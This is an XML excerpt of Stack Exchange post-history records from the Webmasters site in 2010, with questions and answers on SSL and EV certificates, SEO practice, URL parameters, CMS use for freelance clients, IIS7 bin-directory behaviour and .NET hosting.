  <row Id="7517" PostHistoryTypeId="2" PostId="3837" RevisionGUID="50750e52-4319-40a7-860a-bd418d81dc0b" CreationDate="2010-10-14T09:29:09.307" UserId="3" Text="A few things. In *theory*, the better and more expensive SSL providers are supposed to validate who you are in some way and vouch for your identity. This takes time and manual effort and thus costs more.&#xD;&#xA;&#xD;&#xA;&gt; Traditionally manual validation (as used by VeriSign, Thawte, Entrust) has been cumbersome, long winded and expensive for the SSL Provider and therefore the purchaser. Automated validation (as used by GeoTrust and GoDaddy) is faster and more cost-effective, yet does not provide the level of assurance expected by consumers relying on SSL - For example GeoTrust's QuickSSL Certificates only validate the applicant's right to use a domain name and not the legitimacy of the company itself.&#xD;&#xA;&#xD;&#xA;There's also some crazy new type of SSL cert which does &quot;extended validation&quot; and is much MUCH more expensive.&#xD;&#xA;&#xD;&#xA;https://www.verisign.com/ssl/ssl-information-center/ev-ssl-certificate/index.html&#xD;&#xA;&#xD;&#xA;&gt; An EV SSL Certificate gives customers more confidence that they are interacting with a trusted Web site and that their information is secure. An EV SSL Certificate triggers high-security Web browsers to display your organization’s name in a green address bar and show the name of the Certificate Authority that issued it.&#xD;&#xA;&#xD;&#xA;The cheaper SSL providers do little to no validation of identity which may or may not matter to you (or your users).&#xD;&#xA;&#xD;&#xA;Honestly, when we use SSL it's for the encryption, not for a web of trust.&#xD;&#xA;&#xD;&#xA;(One *valid* reason to pay for a more expensive SSL cert is when it's a wildcard cert so it works on all `*.example.com` domain websites you may ever have. The regular SSL certs are only good for one specific address.)" />
  <row Id="7518" PostHistoryTypeId="2" PostId="3838" RevisionGUID="8cebe12d-0a6f-40ef-9327-34a06194f241" CreationDate="2010-10-14T09:30:48.463" UserId="2398" Text="In terms of security there isn't any difference.&#xD;&#xA;&#xD;&#xA;What you really buy is the certification's company verification that persuades your customers you are trustworthy. That is why Verisign sells the same services for x10 the amount of others.&#xD;&#xA;&#xD;&#xA;Also in higher-priced certificates there is an extra level of verification (where you need to send company verification documents, there is a check for the domain owner if the credentials match etc). And usually they give you a fancier banner to put on your website.&#xD;&#xA;&#xD;&#xA;There are also the Extended Validation Certificates (EV) where most browsers make the address bar green and clearly identify your website/company." />
  <row Id="7519" PostHistoryTypeId="2" PostId="3839" RevisionGUID="360df796-9569-4d9c-8644-e7f0895b6e3a" CreationDate="2010-10-14T10:11:27.447" UserId="1757" Text="I've yet to come across any reputable SEO books, but there *are* approaches to SEO worth learning.&#xD;&#xA;&#xD;&#xA;First off, the algorithms that Google/Yahoo/Bing! use are irrelevant. Modern search engines have advanced to the point that they behave mostly as they should (despite the best efforts of the SEO industry). Beyond the fundamental principles of PageRank, no one really knows how Google's algorithms work. There are press releases about new search features and fixes to previous search problems, but the details of each ranking system's implementation is mostly speculative. Pretty much all of the information published by 3rd parties is based on finding vague statistical correlations and speculating on these &quot;ranking factors&quot;.&#xD;&#xA;&#xD;&#xA;So if you take the blackhat approach to SEO, i.e. trying to game the ranking algorithms, you won't find much concrete information to go on. And the frequent algorithm changes/fixed that are designed to combat blackhat techniques mean that any effective technique will just backfire in the long run.&#xD;&#xA;&#xD;&#xA;But if you take the whitehat approach to SEO recommended by Google and other search engines, then you don't need to worry about the lack of detailed ranking algorithm information or the constant algorithm changes. That's because whitehat SEO really is just trying to make a useful and accessible website. This is much harder to do if you're a fly-by-night operation attempting to make a quick buck without providing anything of value to users. But if you started a site based on the genuine desire to provide useful information or services, then SEO will just be a natural side-effect of improving your website for users.&#xD;&#xA;&#xD;&#xA;This also explains the lack of reputable books on SEO. Most SEO practices really fall into usability and accessibility best practices (e.g. using clean URLs, proper semantic markup, RESTful architecture, etc.), while others are just commonsense (like using good grammar/spelling, providing unique/useful/relevant content, etc.). So get a book on usability and optimizing web navigation, as well as study up on semantic HTML standards (like the proper use of `meta` and `link` tags) and [Web Content Accessibility Guidelines][1]. This type of SEO requires you to be invested in the long-haul, but it guarantees good results no matter how search engines adapt and evolve over time.&#xD;&#xA;&#xD;&#xA;Lastly, you should be warned that the majority of the SEO industry that claims to be &quot;whitehat&quot; is actually in the greyhat category. SEO, as a marketing-based industry, is rather devoid of morals. Really, the majority of SEO professionals seem to eschew well known blackhat techniques like link farming and keyword stuffing simply because the search engines have wised up to them (most of the old-timers themselves practiced these techniques before they were penalized by search engines and labeled blackhat).&#xD;&#xA;&#xD;&#xA;So be careful about whom you listen to. Even if something doesn't hurt your search ranking, it could still permanently damage your online reputation. This is especially pertinent considering that most &quot;whitehat&quot; SEOs (including the top SEO sites) still consider content-spinners and blog spamming acceptable forms of SEO. They might add a little disclaimer like &quot;be sure your comment is useful and don't post to the same blog too many times in a row&quot;, but they still encourage webmasters to actively seek out unprotected blogs that don't inject `nofollow`s into links (e.g. on &quot;high value&quot; .edu sites) and post comments linking to yourself to game the PageRank system. And in that respect, SEO isn't really worth investing in explicitly for legitimate businesses and site owners. These types of practices that are pursued solely for the purpose of improving one's search ranking without improving user experience actually de-optimize search engine results and put you on the same level as spammers.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/WCAG10/" />
  <row Id="7520" PostHistoryTypeId="2" PostId="3840" RevisionGUID="f9c97884-d22d-44d6-90c4-3bd700f08cda" CreationDate="2010-10-14T10:48:25.957" UserDisplayName="Benjol" Text="Jeff, I wonder whether having a chat system in a subdomain might not tip the balance as far as 'social networking' is concerned? &#xD;&#xA;&#xD;&#xA;Where I am, hotmail/skype/msn/google talk/etc are all blocked. chat.so only gets through currently (I imagine) because no-one's noticed." />
  <row Id="7521" PostHistoryTypeId="2" PostId="3841" RevisionGUID="1b842ddc-e55b-43ff-a638-da9e06ff4773" CreationDate="2010-10-14T11:29:27.607" UserId="2405" Text="I think I read somewhere that it was a good practice to have certain &quot;totally dynamic and irrelevant&quot; parameters excluded from the nice URL rewriting techniques. Like here on the StackOverflow galaxy, when you login the URL is `/users/login?returnurl=parameter`.&#xD;&#xA;&#xD;&#xA;The reason would also have been that it kind of &quot;prevents&quot; search engines to follow those links, and could be a good idea for &quot;transition pages&quot; that change often and should not be indexed as is, but still followed, like `/news?page=5` where this page would be an index of the latest news, and by nature changes over time as old news are pushed down.&#xD;&#xA;&#xD;&#xA;Is there any sense to that? Would you agree, and if so maybe point to some resources? If not, what do you think of it, and what should be done with those pages that keep changing?&#xD;&#xA;&#xD;&#xA;Thanks for any thought!" />
  <row Id="7522" PostHistoryTypeId="1" PostId="3841" RevisionGUID="1b842ddc-e55b-43ff-a638-da9e06ff4773" CreationDate="2010-10-14T11:29:27.607" UserId="2405" Text="Should I differentiate parameters in my URLs?" />
  <row Id="7523" PostHistoryTypeId="3" PostId="3841" RevisionGUID="1b842ddc-e55b-43ff-a638-da9e06ff4773" CreationDate="2010-10-14T11:29:27.607" UserId="2405" Text="&lt;seo&gt;&lt;url-rewriting&gt;" />
  <row Id="7524" PostHistoryTypeId="2" PostId="3842" RevisionGUID="a89cc4da-64c0-415d-ba73-9ce03fb32153" CreationDate="2010-10-14T12:01:19.343" UserId="1757" Text="Not using clean URLs does not exclude a page from being indexed. To do that, you need to use robots.txt.&#xD;&#xA;&#xD;&#xA;And I don't know what you mean by &quot;should not be indexed as is, but followed&quot;, but a page that changes often (and has lots of backlinks and can be easily gotten to by Google's crawlers) will automatically be crawled more often by Google, keeping the indexed content fresh. You can also adjust the crawl rate in the Google Webmasters tools." />
  <row Id="7525" PostHistoryTypeId="2" PostId="3843" RevisionGUID="fb600b5b-a231-4d25-92a8-b042533feac1" CreationDate="2010-10-14T13:13:42.693" UserId="1253" Text="I'd say stop reading wherever you read that drivel. Dynamic pages are a natural part of the web, very common, and you should definitely want them to be indexed by the search engines. The search engine crawlers regularly crawl pages looking for changed content and, if they detect any, update their indices. That's good for you because it means new content that you have will be available for others to find which is what you want. &#xD;&#xA;&#xD;&#xA;And search engines can crawl virtually any URL regardless of the structure of that URL. So if that site is implying query strings are not search engine friendly they are greatly mistaken. &#xD;&#xA;" />
  <row Id="7526" PostHistoryTypeId="2" PostId="3845" RevisionGUID="91ab1d66-82ee-4e60-9da4-8ca5ece3c66b" CreationDate="2010-10-13T15:40:34.170" UserId="1780" Text="A CMS of some sort really is a must nowadays in most cases. Making money off updating clients' sites may have been a business model in 1998, but isn't any more really.&#xD;&#xA;&#xD;&#xA;At the end of the day, of course, it's a question of cost, benefit and updating frequency. If a site needs changing once every two years, having static HTML pages that are re-worked manually is a perfectly valid option. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="7527" PostHistoryTypeId="2" PostId="3846" RevisionGUID="d3c41391-c2b7-406f-969b-f42a0cc16397" CreationDate="2010-10-13T15:46:08.523" UserDisplayName="Andrew" Text="This is a question possibly better asked on developers, but since I have a pretty strong opinion on this, I'll answer anyway...&#xD;&#xA;&#xD;&#xA;I really try to ensure that, when a client asks for a CMS, that the CMS actually meets their needs.  If it is not going to, I try desperately to talk them out of it.  I've had clients insist on using Wordpress when it was possibly the worst tool for what they were trying to do.  I went along with it anyway and definitely regretted it; it made my job much, much harder, and it didn't make life any easier for the client.&#xD;&#xA;&#xD;&#xA;If you are building/designing a relatively simple, static-content or blog-driven site, a CMS can make sense.  If the client is going to come to you to ask you to update normal content in their CMS anyway (and, yes, that happens with alarming frequency), why have the CMS?  The point is to allow non-technical people to manage their own content.  If the CMS isn't accomplishing that goal, then it's probably not the right solution.&#xD;&#xA;&#xD;&#xA;If you're doing anything more involved than a static/blog site, and you're going to have to do a lot of custom development, you may find that the CMS just gets in your way.  YMMV, of course.  I just try to use the right tools for the job, and for the stuff I've been asked to do, that tool has almost never been a CMS." />
  <row Id="7528" PostHistoryTypeId="2" PostId="3844" RevisionGUID="d0239178-a650-4f8c-951e-b794821a9315" CreationDate="2010-10-13T15:33:40.270" UserDisplayName="Alan" Text="I am a beginner freelancer eagerly trying to get my first client but I am wondering is having a CMS for a website really that important? Before I thought about this question I thought that it goes without saying that the client would benefit from having a CMS for their website, that they would love to be able to edit their content on their own. But then I realized it's not that simple.&#xD;&#xA;&#xD;&#xA;One of my biggest concerns actually is  a monetary one. If you install a CMS for a client then they depend on you less which means you will do less work for them which means you will make less money from that client. Sorry to sound greedy, but that really seems like the reality. Or am I missing something?&#xD;&#xA;&#xD;&#xA;At the same time, if you build sites without a CMS doesn't that make you seem less professional to future potential clients?" />
  <row Id="7529" PostHistoryTypeId="1" PostId="3844" RevisionGUID="d0239178-a650-4f8c-951e-b794821a9315" CreationDate="2010-10-13T15:33:40.270" UserDisplayName="Alan" Text="Why install a CMS for clients?" />
  <row Id="7530" PostHistoryTypeId="3" PostId="3844" RevisionGUID="d0239178-a650-4f8c-951e-b794821a9315" CreationDate="2010-10-13T15:33:40.270" UserDisplayName="Alan" Text="&lt;cms&gt;&lt;management&gt;&lt;system&gt;&lt;content&gt;&lt;freelancer&gt;" />
  <row Id="7531" PostHistoryTypeId="17" PostId="3844" RevisionGUID="fdfa7345-04aa-4dae-b001-6ebff243f4de" CreationDate="2010-10-14T13:30:37.967" UserId="-1" Comment="from http://stackoverflow.com/questions/3925362/why-install-a-cms-for-clients" Text="" />
  <row Id="7532" PostHistoryTypeId="2" PostId="3847" RevisionGUID="91c1309f-ede1-405d-88c6-b0f946e1dd05" CreationDate="2010-10-14T13:33:53.173" UserId="108" Text="Google and Bing both crawl URLs with parameters in them.  Using parameters as a way to confuse Google out of following the links will only cause you SEO issues.  &#xD;&#xA;&#xD;&#xA;If you want full information on it, check out [Google Search Engine Optimization Guide.][1].  It will educate you on what Google does and doesn't do and what they suggest you do.&#xD;&#xA;&#xD;&#xA;Finally, if you don't want specific pages to be crawled or given PR by Google or Bing just put the files/directories into a robots.txt file like @Lese suggested or put a rel=&quot;nofollow&quot; on your links.  Those are the only ways to 100% guarantee you will not give PR to the pages you don't want to have PR.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/en/us/webmasters/docs/search-engine-optimization-starter-guide.pdf" />
  <row Id="7536" PostHistoryTypeId="18" PostId="3777" RevisionGUID="03b2e5f4-f117-41ac-9f9b-89c1fbc42425" CreationDate="2010-10-14T13:39:55.300" UserId="108" Comment="from http://webmasters.stackexchange.com/questions/3825/could-i-buy-a-domain-name-to-increase-traffic-to-my-site-like-this" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="7539" PostHistoryTypeId="2" PostId="3848" RevisionGUID="9cb44297-cb61-41fd-8656-212d2e76cbf6" CreationDate="2010-10-14T15:00:39.487" UserId="1074" Text="Even if the client isn't asking for a CMS, I still install one.  Partially, it's for consistency.  I've been refactoring and improving my CMS for 5 years now, so I've got it to the point where it works for me (and my clients) really well.  I know that it's a matter of one button click and a few text box answers to install the back-end, and my front-end code to integrate the content is consistent across all my client's sites.  When I do layout and cutup, I've got a standard strategy I follow to get the content into the design.  When doing maintenance, every site looks visually similar, so there's no learning curve to do maintenance on older sites.&#xD;&#xA;&#xD;&#xA;The biggest reason, though, is that if I'm handling content for the client it's just faster to update content in a CMS.  So, in the end, I come out ahead.  And, if the client decides that they want to &quot;upgrade&quot; to a CMS, I simply double check my settings, collect my check, and they're on their way.  Everyone wins!&#xD;&#xA;&#xD;&#xA;I would caution that if you're a developer who's tied to a CMS like Joomla or Wordpress, you've just opened a can of worms following this method.  Open source needs CONSTANT updates to maintain security.  Flaws open up all the time--it's the reason that people are constantly asking how they got Javascript Injected on Stackoverflow.  In my case, I have a common codebase, so one update fixes nearly all.  With the others, you'd be doing an update for every site you have installed, which can get very old in a hurry." />
  <row Id="7540" PostHistoryTypeId="2" PostId="3849" RevisionGUID="d99a1e05-4ee2-4f9e-93bd-a9e6f60901f9" CreationDate="2010-10-14T15:53:44.920" UserId="2420" Text="I've heard good things about [StatsCounter][1], even when specifically compared to Google Analytics. Peter-Paul Koch from Quirksmode.org [likes it][2] because it's supposedly got very good browser detection accuracy&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://statcounter.com/&#xD;&#xA;  [2]: http://www.quirksmode.org/blog/archives/2010/10/lies_damned_lie.html" />
  <row Id="7542" PostHistoryTypeId="2" PostId="3851" RevisionGUID="26d19adc-af92-4141-affb-65f3c99d9db3" CreationDate="2010-10-14T18:38:21.847" UserId="1207" Text="I'm running IIS7 and I have fastCGI installed and php code works just fine normally.&#xD;&#xA;&#xD;&#xA;Today I added a php file that contained only code an no html markup to the bin directory. And when I try to access it via http, i get a 404 back.&#xD;&#xA;&#xD;&#xA;I've verified the file is on the server, and I've verified that the problem goes away if I move the file out of the bin directory.&#xD;&#xA;&#xD;&#xA;My question is why does the bin directory hide php files? (and html files too, incidentally.) Is it some IIS security precaution?&#xD;&#xA;&#xD;&#xA;thanks." />
  <row Id="7543" PostHistoryTypeId="1" PostId="3851" RevisionGUID="26d19adc-af92-4141-affb-65f3c99d9db3" CreationDate="2010-10-14T18:38:21.847" UserId="1207" Text="Why would a php file return 404 while in the bin directory on IIS7?" />
  <row Id="7544" PostHistoryTypeId="3" PostId="3851" RevisionGUID="26d19adc-af92-4141-affb-65f3c99d9db3" CreationDate="2010-10-14T18:38:21.847" UserId="1207" Text="&lt;php&gt;&lt;iis7&gt;" />
  <row Id="7545" PostHistoryTypeId="2" PostId="3853" RevisionGUID="1aded22b-bf51-4d2e-bd22-8ccd219d42e3" CreationDate="2010-10-14T19:07:36.157" UserDisplayName="DanP" Text="This is likely because the site in question is using an extended validation (EV) ssl certificate; as described [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.verisign.com/ssl/ssl-information-center/ev-ssl-certificate/index.html" />
  <row Id="7546" PostHistoryTypeId="2" PostId="3854" RevisionGUID="3ae407f5-261b-42cf-a5a2-11ec9028f3cc" CreationDate="2010-10-14T19:08:01.303" UserDisplayName="Nate Bross" Text="It is a more expensive SSL certificate, and in order to obtain one you must go through a more rigorous ownership verification process." />
  <row Id="7547" PostHistoryTypeId="2" PostId="3855" RevisionGUID="8fb55aee-e8c7-4837-a026-2c341be00f09" CreationDate="2010-10-14T19:16:58.070" UserDisplayName="eject" Text="It's VeriSign marketing guys invention who decided to get more money and share their extra profit with browser vendors (I guess).&#xD;&#xA;&#xD;&#xA;Btw, not all browsers supports that &quot;green bar&quot; there is list of supported browsers:&#xD;&#xA;* IE 5.01+&#xD;&#xA;* AOL 5+&#xD;&#xA;* Netscape 4.7+&#xD;&#xA;* Opera 7+&#xD;&#xA;* Safari&#xD;&#xA;* Mozilla 1+&#xD;&#xA;* Firefox 1+&#xD;&#xA;* Konqeror" />
  <row Id="7548" PostHistoryTypeId="2" PostId="3852" RevisionGUID="d3a007f8-6309-4d56-82e6-fa9e43745e00" CreationDate="2010-10-14T19:05:09.297" UserDisplayName="tinab" Text="I am new to SSL so can someone explain why my address bar turns green when I'm on certain sites beginning with https:// and sometimes it doesn't even though I know the site has SSL. Maybe these two nuances are not even related, but if I go to godaddy and order a new domain I notice their address bar is green the entire time I'm on an https:// beginning site, but then I go to Victoria's secret to place an order and even though it says https:// the address bar doesn't turn gree." />
  <row Id="7549" PostHistoryTypeId="1" PostId="3852" RevisionGUID="d3a007f8-6309-4d56-82e6-fa9e43745e00" CreationDate="2010-10-14T19:05:09.297" UserDisplayName="tinab" Text="SSL and green address bar" />
  <row Id="7550" PostHistoryTypeId="3" PostId="3852" RevisionGUID="d3a007f8-6309-4d56-82e6-fa9e43745e00" CreationDate="2010-10-14T19:05:09.297" UserDisplayName="tinab" Text="&lt;ssl&gt;" />
  <row Id="7551" PostHistoryTypeId="17" PostId="3852" RevisionGUID="54e6cd5d-b12e-4f59-9acb-6bb0acafe965" CreationDate="2010-10-14T19:26:47.830" UserId="-1" Comment="from http://stackoverflow.com/questions/3936638/ssl-and-green-address-bar" Text="" />
  <row Id="7552" PostHistoryTypeId="10" PostId="3851" RevisionGUID="8109bd1f-caa5-4af1-8a71-5430bc09fdbb" CreationDate="2010-10-14T20:16:31.640" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;},{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="7553" PostHistoryTypeId="2" PostId="3856" RevisionGUID="a370e89a-18b6-417c-9bb0-73aa8c4aaa16" CreationDate="2010-10-14T21:45:12.040" UserId="138" Text="Your browser bar turns green when you purchase an Extended Validation certificate. An EV certificate does not provide any extra transport-level security (that is, using a site with an EV is just as secure as using a site without an EV).&#xD;&#xA;&#xD;&#xA;What an EV certificate DOES provide is extra peace of mind that you're not about to be ripped off scammers or phishers. We've recently gone through the EV process, and it's a lengthy process where they verify every single piece of identifiable information about your company against what's provided in your application and on your website.&#xD;&#xA;&#xD;&#xA;Basically, it's provided simply for peace of mind. Unless you're running a very popular website, or a bank, I wouldn't waste your time or money on one." />
  <row Id="7554" PostHistoryTypeId="10" PostId="3786" RevisionGUID="ac6a8d5e-2d58-41a3-a0cc-091529801946" CreationDate="2010-10-14T22:01:30.743" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;},{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="7555" PostHistoryTypeId="5" PostId="3786" RevisionGUID="b73853c2-6a92-4699-aeaa-87958a056abb" CreationDate="2010-10-14T22:01:30.870" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How can I get search engines to crawl my site and see a localised view of my data? ](http://webmasters.stackexchange.com/questions/2726/how-can-i-get-search-engines-to-crawl-my-site-and-see-a-localised-view-of-my-data)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Sorry, this post became a bit loquacious - but I haven't found any satisfactory answers on the web thus far.&#xD;&#xA;&#xD;&#xA;I've been developing a website for a while now, into which I've built support for multiple languages. All the terms, words and phrases are stored in a file in JSON format which is decoded and converted into an array. With this, it's easy to create the entire site in a different language. The website consists of 100% home-cooked code... no Wordpress, Drupal or any other framework, so none of the multi-language plugins for the aforementioned will work. &#xD;&#xA;&#xD;&#xA;To switch language, the user clicks a link at the top of the page (positioned at the top, in reality, it's at the bottom of the HTML structure). Each page of the site has this menu, whereby a query string parameter is added. `/hotels/index.html` becomes `/hotels/index.html?lang=fr`. The script sees the `lang` parameter, changes the user's cookie and loads the appropriate JSON file, and they are returned back to the same page they were on without the `lang` parameter. This has been a very convenient way to switch languages, as the user remains on the same page, and the links are exactly the same. I built it this way after another site that required multiple language support where SEO was not a priority (an internal company-only program).&#xD;&#xA;&#xD;&#xA;If a visitor comes to the site for the first time, the script looks at the `HTTP_ACCEPT_LANG` constant and loads the appropriate language and sets the cookie (instead of geo-locating, which takes longer, and I personally dislike - I live in Thailand, and even Google serves the Thai version even though I have my OS and browser in English).&#xD;&#xA;&#xD;&#xA;My question is - I'd eventually like Google and other SE's to index the site in these other languages, but without the `lang` attribute in the URL. If the user uses Google in French or Russian, they get served the site in French or Russian, respectively. Since the URL `/hotels/index.html` would have a version in English (default), French and Russian, but still having the same URL, I assume this is a problem for Google and other SE's.&#xD;&#xA;&#xD;&#xA;Can someone explain how Google indexes multiple-language sites setup in this manner? Would using a sub-domain work best to separate them? I do not wish to alter the way URL's are handled on the site, as I like to keep as few query strings as possible from being indexed.&#xD;&#xA;&#xD;&#xA;On another note, I accidentally opened the site for indexing with the language links, and somehow, the redirects did not work properly, and I have links such as `/something/index.html?lang=ru?lang=ru` indexed in Google. I've detected these in the script and placed a 301 redirect to remove these `lang` parameters... will these bad links be replaced with the redirected URL's in Google over time?" />
  <row Id="7556" PostHistoryTypeId="18" PostId="3852" RevisionGUID="ef9f83dc-6a09-4e6c-a987-f8aa0cd578f5" CreationDate="2010-10-14T22:09:07.843" UserId="138" Comment="to http://webmasters.stackexchange.com/questions/372/are-the-different-types-of-ssl-certificates-a-bit-of-a-scam" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="7557" PostHistoryTypeId="18" PostId="3853" RevisionGUID="ef9f83dc-6a09-4e6c-a987-f8aa0cd578f5" CreationDate="2010-10-14T22:09:07.843" UserId="138" Comment="from http://webmasters.stackexchange.com/questions/3852/ssl-and-green-address-bar" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="7558" PostHistoryTypeId="18" PostId="3854" RevisionGUID="ef9f83dc-6a09-4e6c-a987-f8aa0cd578f5" CreationDate="2010-10-14T22:09:07.843" UserId="138" Comment="from http://webmasters.stackexchange.com/questions/3852/ssl-and-green-address-bar" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="7559" PostHistoryTypeId="18" PostId="3855" RevisionGUID="ef9f83dc-6a09-4e6c-a987-f8aa0cd578f5" CreationDate="2010-10-14T22:09:07.843" UserId="138" Comment="from http://webmasters.stackexchange.com/questions/3852/ssl-and-green-address-bar" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="7560" PostHistoryTypeId="18" PostId="3856" RevisionGUID="ef9f83dc-6a09-4e6c-a987-f8aa0cd578f5" CreationDate="2010-10-14T22:09:07.843" UserId="138" Comment="from http://webmasters.stackexchange.com/questions/3852/ssl-and-green-address-bar" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="7561" PostHistoryTypeId="18" PostId="372" RevisionGUID="ef9f83dc-6a09-4e6c-a987-f8aa0cd578f5" CreationDate="2010-10-14T22:09:07.843" UserId="138" Comment="from http://webmasters.stackexchange.com/questions/3852/ssl-and-green-address-bar" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="7562" PostHistoryTypeId="14" PostId="3852" RevisionGUID="34c075e2-8438-44db-ba49-d747d083cbb5" CreationDate="2010-10-14T22:09:08.310" UserId="138" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="7563" PostHistoryTypeId="15" PostId="3852" RevisionGUID="68c584c5-e372-4232-a7f0-ad8c9132ac79" CreationDate="2010-10-14T22:16:13.410" UserId="138" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="7564" PostHistoryTypeId="5" PostId="3852" RevisionGUID="62e9b4b6-5ad4-49b3-8c20-daf5803822fb" CreationDate="2010-10-14T22:16:28.563" UserId="138" Comment="added 182 characters in body" Text="&gt; Note from mod Farseeker: I accidentally merged&#xD;&#xA;&gt; this question by mistake. I meant to merge a different one. I've emailed the support team to see if I can get this undone.&#xD;&#xA;&#xD;&#xA;I am new to SSL so can someone explain why my address bar turns green when I'm on certain sites beginning with https:// and sometimes it doesn't even though I know the site has SSL. Maybe these two nuances are not even related, but if I go to godaddy and order a new domain I notice their address bar is green the entire time I'm on an https:// beginning site, but then I go to Victoria's secret to place an order and even though it says https:// the address bar doesn't turn gree.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7565" PostHistoryTypeId="14" PostId="3852" RevisionGUID="dc1b1675-4e0a-44c1-988d-35f7badde880" CreationDate="2010-10-14T22:16:31.807" UserId="138" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="7566" PostHistoryTypeId="2" PostId="3858" RevisionGUID="b27f60d2-1754-4950-962d-0e23d83ddd37" CreationDate="2010-10-14T11:28:20.563" UserDisplayName="Scott Lowe" Text="It depends upon how far you want to stretch your budget - Shared servers will always be incredibly cheap, but of course you will always trade off cheapness for many restrictions upon your code and deployment options.&#xD;&#xA;&#xD;&#xA;Have you considered a VPS solution rather than shared hosting? I've been using UK company Memset and I've found that they are pretty good. You can get your own virtual Windows 2008 server for £11.95 per month (if you choose the year contract, they do a 1 month minimum term and you can cancel any time).&#xD;&#xA;&#xD;&#xA;The only problem you'd have with choosing a VPS solution is MS SQL Server. Clearly the licence costs are prohibitive for an individual, but if it's a greenfield project, installing PostgreSQL or MySQL is trivial, so perhaps you could develop against that. I've been using the PostgreSQL ADO.NET libs for years and they are really good - you shouldn't have any problems.&#xD;&#xA;&#xD;&#xA;If you decide to try a VPS - use the Web Platform Installer to set things up. It's really smooth, quick and easy.&#xD;&#xA;&#xD;&#xA;P.S. Before anybody asks... I don't work for Memset!" />
  <row Id="7567" PostHistoryTypeId="2" PostId="3859" RevisionGUID="26c743d9-167a-4760-825a-93aa5806e2dc" CreationDate="2010-10-14T14:07:08.350" UserDisplayName="Bryce Fischer" Text="I use godaddy's basic hosting service, and use 3rd party assemblies fine, but it shouldn't be unique to them... You don't have to install the 3rd party dll globally. They can go in your bin folder and accessible to your webapp. &#xD;&#xA;&#xD;&#xA;Admittedly, I haven't used iTextSharp before so its possible there's something about it that requires more than that." />
  <row Id="7568" PostHistoryTypeId="2" PostId="3860" RevisionGUID="341af53e-8d8b-4bee-ae27-de21b8b86f25" CreationDate="2010-10-14T14:08:23.543" UserDisplayName="Daniel Hanly" Text="Keep in mind that users are far more likely to write a review if their experience has been bad, than if their experience is good.. look at the services they offer and the price - too cheap can (and sometimes has) indicated a lack of customer support and too expensive can give you alot of crap you dont need. Don't throw away a service because of a couple of bad reviews.&#xD;&#xA;&#xD;&#xA;I have picked up Web Designer magazine before now and every month they have a four or five page list (rated) of all the best hosting websites and prices. That may be a nice unbiased way to choose. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="7569" PostHistoryTypeId="2" PostId="3861" RevisionGUID="7a1b0f25-e0af-4bfa-b57d-9b8d7bb08dd1" CreationDate="2010-10-14T23:21:05.437" UserDisplayName="Barry - WinHost" Text="You may want to give [WinHost][1] a look. We support everything you're looking for starting at $4.95/month. If you have any questions about us feel free to drop us a line.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://winhost.com" />
  <row Id="7570" PostHistoryTypeId="2" PostId="3857" RevisionGUID="b7fc774b-3040-4991-82df-e9ae9b657cab" CreationDate="2010-10-14T10:03:07.623" UserDisplayName="PLyon" Text="I have spent weeks trying to find information on hosting sites for my site. I currently use 1&amp;1 but I need to have support for add-on dll's ( iTextsharp ) and they have told me for security reasons they cant do that. I use .net , c# and MSSQL.. I'm in the UK but not bothered where I host&#xD;&#xA;&#xD;&#xA;So off I went researching on the web and everytime I thought I had found a good one I would read reviews and they would be bad !&#xD;&#xA;&#xD;&#xA;I am down to the following.. does anyone have any viewson them  or point me to a GOOD site which has proper reviews from lots of users or EVEN BETTER a reliable .Net host which would support my needs:-&#xD;&#xA;&#xD;&#xA;DiscountASP, U2-Web, 000webHost, HeartInternet, Somee, Arvixe, Daily.co.uk, GoldPuma, TitanInternet, Aspnethosting, IXWebHosting&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Peter&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7571" PostHistoryTypeId="1" PostId="3857" RevisionGUID="b7fc774b-3040-4991-82df-e9ae9b657cab" CreationDate="2010-10-14T10:03:07.623" UserDisplayName="PLyon" Text="Frustrated trying to find a hosting company for my .Net site !" />
  <row Id="7572" PostHistoryTypeId="3" PostId="3857" RevisionGUID="b7fc774b-3040-4991-82df-e9ae9b657cab" CreationDate="2010-10-14T10:03:07.623" UserDisplayName="PLyon" Text="&lt;asp.net&gt;&lt;web-hosting&gt;" />
